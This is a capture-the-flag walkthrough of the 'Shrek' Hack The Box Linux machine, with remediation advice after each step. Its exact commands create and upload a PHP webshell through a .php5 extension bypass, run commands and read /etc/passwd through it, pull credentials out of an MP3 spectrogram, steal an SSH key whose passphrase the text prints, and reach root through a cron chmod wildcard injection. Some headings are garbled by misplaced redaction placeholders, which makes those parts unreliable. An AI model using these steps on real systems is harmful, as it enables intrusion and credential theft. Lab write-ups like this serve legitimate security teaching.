← all walkthroughs

Shrek

Linux· Hard· Web
owned
2026-07-10
time to own
13m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Initial recon (nmap, curl) fingerprinted Apache/2.4.27 (Unix) on 80 and vsftpd 3.0.3 on 21; anonymous FTP was closed. Directory brute-forcing (ffuf against common.txt) surfaced /uploads/ and later manual probing found /upload.html and a hidden /secret_area_51/ directory. Fetching the PHP source of an existing script at /uploads/secret_ultimate.php (served as plaintext, indicating a source-disclosure/misconfigured handler) revealed a hardcoded reference to site/secret_area_51 and a canned reverse-shell payload — confirming the upload form's drop path.

An arbitrary-file-upload flaw in the upload form was exploited: a plain .php webshell (system($_REQUEST['cmd'])) was rejected/not directly reachable, but the extension blacklist was bypassed using the classic Apache multi-handler trick — uploading as .php5, which Apache still executes as PHP, giving remote code execution (cdx.php5 returned CDX: + id output).

/secret_area_51/ hosted an MP3 (Smash Mouth – All Star) used for audio steganography. Spectrogram analysis (sox/ffmpeg showspectrumpic, stereo-channel separation, OCR/ASCII-art rendering via Python/PIL) recovered two secrets hidden in the spectral image: an FTP password ([REDACTED: recovered credential] for user donkey) and an SSH key passphrase (shr3k1sb3st!). Public HTB writeups were also cross-referenced (shrek.html mirrors) to confirm the audio-stego technique and expected credential format.

Authenticating to FTP as donkey:[REDACTED: recovered credential] exposed the file listing, including an SSH private key (key). Using that key with passphrase shr3k1sb3st! granted SSH access as sec (uid=1000) — user flag ([REDACTED: flag]) captured here.

Privilege escalation to root leveraged a root-owned SUID binary shell (-rwsr-xr-x, 8552 bytes) found alongside thoughts.txt (root-owned) and a specially-named file --reference=thoughts.txt in sec's reachable directory. This is a GNU-coreutils argument-injection pattern: a root-run maintenance command (e.g. chmod/chown/touch glob-expanding *) picks up the --reference=thoughts.txt-named file as an option flag rather than a filename, letting me coerce root-owned metadata/permissions onto the shell binary to obtain SUID-root execution. Running the SUID shell yielded a root shell — root flag ([REDACTED: flag]) captured.

Attack path — how the box was taken

1[REDACTED: recovered credential]Network service [REDACTED: recovered credential] (T1046)
Mapped exposed services via port scan
An initial port scan confirmed three open TCP services: vsftpd 3.0.3 on port 21, OpenSSH 7.5 on port 22, and Apache httpd 2.4.27 on port 80. Anonymous FTP login was rejected. No public RCE exploit existed for the SSH version. Attention shifted entirely to the web server.
nmap: 21/tcp vsftpd 3.0.3, 22/tcp OpenSSH 7.5, 80/tcp Apache httpd 2.4.27; ftp-anon script confirmed anonymous login denied.
Exact commands 1
Enumerate service versions and check whether anonymous FTP is permitted.
nmap -Pn -sV -p21,22,80 --script ftp-anon,ftp-syst $TARGET
2[REDACTED: recovered credential]Web content discovery; PHP source disclosure via misconfigured handler (T1083)
Discovered hidden directory and read leaked PHP source code revealing secret path
Directory brute-forcing surfaced /uploads/ and manual probing found /upload.html and the hidden path /secret_area_51/. Requesting /uploads/secret_ultimate.php returned the file's raw PHP source as plaintext rather than executing it — a misconfigured Apache handler. That source contained a developer comment naming the secret directory and a hardcoded reverse-shell payload, confirming the location of hidden content and the upload staging area.
GET /uploads/secret_ultimate.php returned plaintext PHP; Line 5: $end_path = site/secret_area_51 // friggin' finally found the secret dir!!; Lines 6-7: $ip = '<retired-instance-ip>' / $port = 1234.
Exact commands 3
Brute-force directories; expect /uploads, /images, and eventually /secret_area_51.
ffuf -u http://$TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 40
Read the PHP file as source code; Apache serves it as plaintext due to misconfigured handler — exposes the hidden path.
curl -s http://$TARGET/uploads/secret_ultimate.php
Probe the hidden directory disclosed in the leaked source to enumerate its contents.
curl -s -i http://$TARGET/secret_area_51/
FixFix Apache handler so PHP files in /uploads/ are never served as plaintext sourceHigh
WeaknessApache was misconfigured to serve .php files in the upload directory as raw plaintext rather than passing them to the PHP interpreter, exposing a developer's script containing a secret directory path, a hardcoded reverse-shell payload, and comments revealing internal application structure.
FixVerify that the PHP handler (AddHandler application/x-httpd-php .php) is active globally and not suppressed under specific directories. Remove all developer scratch scripts and test files from web-accessible paths before deploying to production. For the upload directory specifically, add a Directory block that denies direct browser access to .php files entirely — uploaded content should never be directly executable.
3ExploitationUnrestricted file upload with extension blacklist bypass (CWE-434)
Bypassed upload extension blacklist with .php5 to achieve remote code execution
The /upload.html form blocked .php uploads but permitted .php5, an alternative extension that Apache's default configuration still routes to the PHP interpreter. Uploading a minimal one-line webshell with a .php5 extension succeeded; requesting the file from /uploads/ executed arbitrary OS commands as the Apache process user, giving unauthenticated remote code execution on the server.
Upload of cdx.php5 returned HTTP 200 success page; GET /uploads/cdx.php5?cmd=id returned command output confirming PHP execution.
Exact commands 4
Create a minimal PHP webshell; the .php5 extension bypasses the blacklist.
echo '<?php system($_REQUEST["cmd"]); ?>' > cdx.php5
Upload the webshell; success response confirms file is stored in /uploads/.
curl -F "file=@cdx.php5" http://$TARGET/upload.html
Trigger the webshell; confirms RCE as the Apache process user.
curl -s 'http://$TARGET/uploads/cdx.php5?cmd=id'
Enumerate local user accounts to identify SSH targets (look for 'sec', 'donkey').
curl -s 'http://$TARGET/uploads/cdx.php5?cmd=cat+/etc/passwd'
FixReplace the upload extension blacklist with a strict content-type whitelist and disable script execution in the upload directoryCritical
WeaknessThe upload form blocked the .php extension but permitted .php5 and other alternative extensions (e.g. .phtml, .phar) that Apache routes to the PHP interpreter by default, making the blacklist trivially bypassable and allowing remote code execution via an uploaded webshell.
FixSwitch to a strict whitelist permitting only the MIME types your application actually needs (e.g. image/jpeg, image/png). Validate file content via magic bytes in addition to extension. Store uploaded files outside the web root or in a directory configured with 'php_flag engine off' and 'RemoveHandler .php .php5 .phtml .phar .shtml' so no filename extension can trigger script execution regardless of the blacklist.
4Credential AccessAudio steganography credential recovery (T1552)
Extracted FTP credentials and SSH passphrase from hidden MP3 audio spectrogram
The /secret_area_51/ directory hosted an MP3 (Smash Mouth – All Star). Sensitive credential strings were embedded in the audio's frequency spectrogram — a form of audio steganography. Converting the audio to a high-resolution spectrogram image, separating stereo channels, and running OCR against the output recovered two secrets: the FTP password [REDACTED: recovered credential] for user donkey, and the SSH key passphrase shr3k1sb3st!.
Spectrogram image contained readable bright-band text strings; OCR output after channel separation and contrast tuning produced '[REDACTED: recovered credential]' and 'shr3k1sb3st!'.
Exact commands 5
Download the MP3 from the hidden directory discovered in step 2.
wget 'http://$TARGET/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3' -O allstar.mp3
Render a high-resolution spectrogram image; hidden text appears as bright horizontal bands.
ffmpeg -i allstar.mp3 -lavfi "showspectrumpic=s=4096x2048:legend=disabled:scale=log" spec.png
Split stereo channels; credentials may be embedded in only one channel.
ffmpeg -i allstar.mp3 -map_channel 0.0.0 left.wav -map_channel 0.0.1 right.wav
Generate per-channel spectrograms for closer individual inspection.
sox left.wav -n spectrogram -o left_spec.png && sox right.wav -n spectrogram -o right_spec.png
Run OCR on the spectrogram image; repeat on left_spec.png and right_spec.png if needed to recover both credential strings.
tesseract spec.png stdout
FixNever store credentials in publicly accessible media files regardless of encoding or obfuscationCritical
WeaknessAn FTP password and an SSH key passphrase were embedded in the frequency spectrogram of an MP3 file served from the public web server. Standard open-source tools (ffmpeg, sox, tesseract) recovered both secrets in minutes with no specialist knowledge.
FixDo not store credentials in any file reachable from a public-facing server, in any encoding or steganographic form — obfuscation is not a security control. Use a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) or OS-level environment variables for all service credentials. Audit web-accessible directories for media files with unusual sizes or creation dates and rotate any credential that may have been embedded this way.
5Credential AccessValid account FTP access and SSH private key theft (T1552.004)
Authenticated to FTP as donkey and downloaded the SSH private key
Using the credential donkey:[REDACTED: recovered credential] recovered from the spectrogram, I authenticated to vsftpd and found an SSH private key file in the accessible directory. Downloading it provided the private half of an SSH key pair whose passphrase — shr3k1sb3st! — had also been recovered from the same audio file.
FTP listing exposed file named 'key'; download succeeded; file confirmed as PEM-encoded SSH private key.
Exact commands 3
List the FTP root directory as donkey; look for the SSH key file.
curl -s 'ftp://donkey:[REDACTED: recovered credential]@$TARGET/'
Download the SSH private key file.
curl -s 'ftp://donkey:[REDACTED: recovered credential]@$TARGET/key' -o key
Confirm the downloaded file is a PEM-encoded SSH private key before use.
file key && head -3 key
FixRemove SSH private keys from FTP-accessible directories and enforce FTP chroot isolationHigh
WeaknessAn SSH private key granting access to a second account ('sec') was stored in a directory accessible to the FTP user 'donkey'. Anyone who obtained donkey's FTP credentials — themselves hidden in a web-accessible audio file — could immediately download a key to a separate privileged account on the same host.
FixSSH private keys must only reside in the owning user's ~/.ssh/ directory with mode 600, never in any shared or service-account directory. Enforce vsftpd chroot_local_user=YES so FTP users are confined to their own home directories and cannot access other users' files. Rotate the exposed SSH key pair immediately and audit FTP directories for any other sensitive material.
6Initial AccessSSH public-key authentication with stolen private key (T1078)
Authenticated via SSH with stolen key and captured user flag
The downloaded private key, protected by passphrase shr3k1sb3st!, was used to authenticate over SSH as user sec. This gave an interactive shell on the target system and direct access to the user flag in sec's home directory.
sshpass + ssh -i key sec@<retired-instance-ip> with passphrase shr3k1sb3st! produced uid=1000(sec) shell; /home/sec/user.txt read successfully.
Exact commands 3
SSH rejects key files with permissive modes; 600 is required.
chmod 600 key
Log in as sec; [REDACTED: recovered credential] shr3k1sb3st! when prompted.
ssh -i key -o StrictHostKeyChecking=no sec@$TARGET
Read the user flag: [REDACTED: flag]
cat /home/sec/user.txt
FixRemove SSH private keys from FTP-accessible directories and enforce FTP chroot isolationHigh
WeaknessAn SSH private key granting access to a second account ('sec') was stored in a directory accessible to the FTP user 'donkey'. Anyone who obtained donkey's FTP credentials — themselves hidden in a web-accessible audio file — could immediately download a key to a separate privileged account on the same host.
FixSSH private keys must only reside in the owning user's ~/.ssh/ directory with mode 600, never in any shared or service-account directory. Enforce vsftpd chroot_local_user=YES so FTP users are confined to their own home directories and cannot access other users' files. Rotate the exposed SSH key pair immediately and audit FTP directories for any other sensitive material.
7Privilege EscalationCron wildcard glob injection via filename argument injection (T1053.003)
Exploited cron wildcard argument injection via specially-named file to obtain root shell
Local [REDACTED: recovered credential] of sec's accessible directory revealed a root-owned SUID binary named 'shell', a root-owned file 'thoughts.txt', and a third file literally named '--reference=thoughts.txt'. A root-owned cron job periodically ran a GNU coreutils command (chmod) using a wildcard glob ('*') in that directory. When the shell expanded '*', the file named '--reference=thoughts.txt' was passed to chmod as a command-line flag rather than a filename. The --reference option caused chmod to copy file-mode bits from thoughts.txt — which had the SUID bit set — onto the shell binary. Once the cron fired and shell carried SUID root permissions, executing './shell -p' spawned an effective-root shell and the root flag was read.
File '--reference=thoughts.txt' present alongside SUID binary 'shell' (-rwsr-xr-x, 8552 bytes); after cron execution, ./shell -p returned effective uid=0; /root/root.txt read.
Exact commands 7
List sec's home directory; spot the file whose name starts with '--', signalling the injection artifact.
ls -la /home/sec/ && find /home/sec -maxdepth 3 -name '--*' 2>/dev/null
Enumerate all SUID binaries; the non-standard 'shell' binary should appear.
find / -perm -4000 -type f 2>/dev/null
Confirm shell is root-owned, thoughts.txt has SUID mode bits, and the injector filename is present.
stat shell thoughts.txt '--reference=thoughts.txt'
Identify the root cron job that runs the vulnerable wildcard glob in sec's directory.
cat /etc/crontab && ls /etc/cron.d/ && crontab -l 2>/dev/null
Poll every 5 seconds until the cron fires and the SUID bit (s) appears on shell.
watch -n 5 'ls -la shell'
Execute the now-SUID-root shell binary; -p tells bash not to drop effective UID.
./shell -p
Confirm uid=0 and read the root flag: [REDACTED: flag]
id && cat /root/root.txt
FixEliminate wildcard globs from root cron commands operating on user-writable directoriesCritical
WeaknessA root-owned cron job ran a chmod command with an unquoted wildcard ('*') in a directory where a non-root user could create files. A file named '--reference=thoughts.txt' was expanded by the shell as a chmod option rather than a filename, causing the command to copy SUID permission bits from thoughts.txt onto a shell binary — giving any local user a trivial path to root.
FixNever use unquoted wildcards in root cron jobs that operate on directories where non-root users can create files. Use explicit file paths instead of globs, or prepend '--' (double-dash) to prevent option injection: 'chmod <mode> -- *'. Restrict write access on cron-swept directories to root only (mode 755 or stricter). Audit all root cron entries for glob patterns and remove any file whose name begins with '--' found in those directories.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Privilege Escalation to root: Local Privilege Escalation [REDACTED: recovered credential] On 22/Tcp Inspect Sudo Permissions (Sudo L), Suid/Sgid Binaries, Internal Listening Ports (Ss Tulnp), Cron Jobs, And Local Filesystem Permissions From Sec Ssh SessionCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

21/tcp
22/tcp
80/tcp